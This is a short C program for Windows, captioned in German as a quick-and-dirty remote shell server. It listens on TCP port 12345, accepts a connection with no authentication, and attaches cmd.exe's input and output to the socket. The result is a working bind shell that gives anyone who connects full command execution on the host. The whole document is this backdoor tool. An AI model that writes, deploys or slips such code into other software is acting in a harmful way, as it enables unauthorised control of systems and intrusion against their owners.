ein remote shell server, quick, dirty & "man hat ja sonst nix zu tun"
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winsock2.h>
int main()
{
int err;
SOCKET s,sc;
SOCKADDR_IN srv_addr;
WSADATA wsa;
STARTUPINFO start_info;
PROCESS_INFORMATION proc_info;
WSAStartup(MAKEWORD(2,0),&wsa);
s = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);
memset(&srv_addr,0,sizeof(SOCKADDR_IN));
srv_addr.sin_family=AF_INET;
srv_addr.sin_port=htons(12345);
bind(s, (SOCKADDR*)&srv_addr, sizeof(SOCKADDR_IN) );
listen(s,5);
sc = accept(s,NULL,NULL);
closesocket(s);
start_info.hStdInput = sc;
start_info.hStdOutput = sc;
start_info.hStdError = sc;
start_info.dwFlags = start_info.dwFlags | STARTF_USESTDHANDLES;
CreateProcess(
"C:\\windows\\system32\\cmd.exe",
NULL,
NULL,
NULL,
1,
(int)NULL,
NULL,
NULL,
&start_info,
&proc_info
);
WaitForSingleObject(proc_info.hProcess, 0xffffffff);
CloseHandle(proc_info.hProcess);
CloseHandle(proc_info.hThread);
closesocket(sc);
WSACleanup();
return(0);
}